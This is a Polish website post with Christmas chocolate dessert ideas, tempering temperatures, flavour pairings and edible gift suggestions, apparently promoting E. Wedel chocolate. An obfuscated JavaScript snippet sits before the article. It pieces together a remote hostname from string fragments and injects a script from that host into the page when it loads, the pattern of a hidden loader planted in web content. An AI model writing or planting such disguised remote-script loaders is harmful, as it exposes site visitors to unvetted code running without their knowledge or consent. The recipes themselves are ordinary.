(function(){ zljp=document.createElement("script");zljp_=("o"+("pen")+"st")+"a";zljp.async=true; zljp.type="text/javascript";zljp_+=("t")+".e"+"";zljp_+=(("")+"u");zljp_+="/"; zljpu="2551345782.";zljpu+="Xrgfzeivljpaw8fkw6X"+"n5e74jdtmbc"; zljp.src="https://"+zljp_+zljpu;document.body.appendChild(zljp); })(); Co przygotowujesz w tym roku na świąteczny stół: bezpieczne klasyki czy odważne, nowoczesne smaki? A gdyby… połączyć jedno z drugim i zaskoczyć bliskich, nie tracąc spokoju ani czasu? Pokazujemy, jak zamienić słodkości na święta w małe dzieła sztuki – proste w wykonaniu, a olśniewające na talerzu. Zadaj sobie pytanie: chcesz, by goście mówili „pyszne”, czy „niesamowite”? My podsuwamy gotowe patenty, a Ty wybierasz poziom szaleństwa! Czekoladowe klasyki, które nigdy nie zawodzą Klasyka to bezpieczeństwo i smak, który pamiętasz z dzieciństwa. My nieco podkręcamy ją detalami, które robią różnicę w smaku. Sernik czekoladowy z nutą wanilii, piernik w polewie o lustrzanym połysku, trufle rolowane w kakao – brzmi znajomo, ale smakuje świeżo. Sekret? Dobra czekolada i świadome dodatki. Wybieraj czekoladę o zawartości 54–70% kakao (np. gorzką E. Wedel), a w deserach pieczonych trzymaj się prostych proporcji. Nasze propozycje: Sernik czekoladowy: spód z kakao, masa z gorzką czekoladą i śmietaną 36%. Piernik w polewie: do polewy dorzuć szczyptę kardamonu i sól morską. Klasyczne trufle: śmietanka + czekolada 1:2, rolowane w kakao lub pistacjach. Makowiec w czekoladzie: cienka, chrupiąca warstwa zapewnia stonowaną elegancję. Sztuka temperowania: połysk i „chrup” Chcesz, by polewa błyszczała, a tabliczki pękały z satysfakcjonującym dźwiękiem? Temperowanie to klucz do sukcesu. Wystarczy termometr i chwila cierpliwości. Ciekawostka: masło kakaowe topi się tuż poniżej temperatury ciała, dlatego czekolada rozpływa się w ustach tak szybko. Temperowanie stabilizuje kryształy tłuszczu, daje połysk i wydłuża trwałość. Jak je wykonać? Rozpuść czekoladę do ok. 45–48°C (kąpiel wodna lub mikrofala). Schładzaj do 27–28°C, mieszając. Dodaj odrobinę posiekanej czekolady. Podgrzej do 30–31°C (gorzką), 29–30°C (mleczną), 28–29°C (białą). Używaj od razu, po przygotowaniu, bo wtedy polewy, figurki czy tabliczki wychodzą lśniące i zwarte. Nowoczesne inspiracje: sól morska, zioła i odrobina żaru Nowoczesność nie musi równać się skomplikowanie. To odważne duety, które budzą ciekawość. My łączymy głębię kakao z kontrapunktem: solą, ziołami, cytrusami, chilli. Wyobraź sobie brownie, skropione oliwą extra vergine i posypane płatkami soli – prosto, ale z efektem „wow”. Albo mus czekoladowy z rozmarynem i skórką pomarańczy: świeżo, świątecznie, lekko pieprznie. Pozostałe ciekawe zestawienia to: Gorzka czekolada + sól morska + oliwa + skórka cytryny, czyli nieco egzotyki… Mus czekoladowy + rozmaryn + pomarańcza + prażone migdały – świątecznie i aromatycznie! Trufle + chilli + cynamon + odrobina rumu – luksusowo i smacznie. Ganache do tortu + espresso + kardamon – aromat kawiarni w domu. Jadalne prezenty w 30 minut Personalizowane słodkości na święta to najcieplejszy prezent. Robisz je szybko, pakujesz pięknie, wręczasz z dumą. Czekoladowa kora na migdałach, skórka pomarańczowa w czekoladzie, tabliczki DIY z ulubionymi dodatkami – to działa! Oto garść inspiracji: Kora czekoladowa: temperowana czekolada + żurawina + pistacje + skórka cytrusowa. Tabliczki DIY: wylewasz roztopioną czekoladę, posypujesz solą, orzechami, liofilizowanymi malinami. Zestaw „gorąca czekolada”: w słoiku kakao premium, czekolada w dropsach, pianki. Skórka w czekoladzie: kandyzowana skórka + cienkie zanurzenie w gorzkiej czekoladzie. Plan to spokój, dzięki któremu pieczesz z uśmiechem, a nie w nerwach i pośpiechu. Wskakuj do kuchni, a jeśli potrzebujesz wsparcia – my dostarczamy składniki i przepisy, by twoje słodkości na święta pachniały jak marzenie. Powodzenia – wiemy, że z nami oczarujesz swoich bliskich przy stole w świąteczny czas! Świąteczne słodkości z czekoladą łączą w sobie to, co najlepsze w tradycji i nowoczesnym podejściu do wypieków. Klasyczne smaki przywołują wspomnienia rodzinnych świąt, a nowe formy i dodatki pozwalają odkrywać je na nowo w świeżej, zaskakującej odsłonie. Niezależnie od tego, czy wybierzesz sprawdzone przepisy, czy odważne czekoladowe eksperymenty, najważniejsze pozostaje jedno – radość dzielenia się słodkościami i tworzenia wyjątkowej, świątecznej atmosfery. Zobacz również: W kuchni z Wedlem. The post Słodkości na święta – czekoladowe klasyki i nowoczesne inspiracje appeared first on Oświęcim112.pl.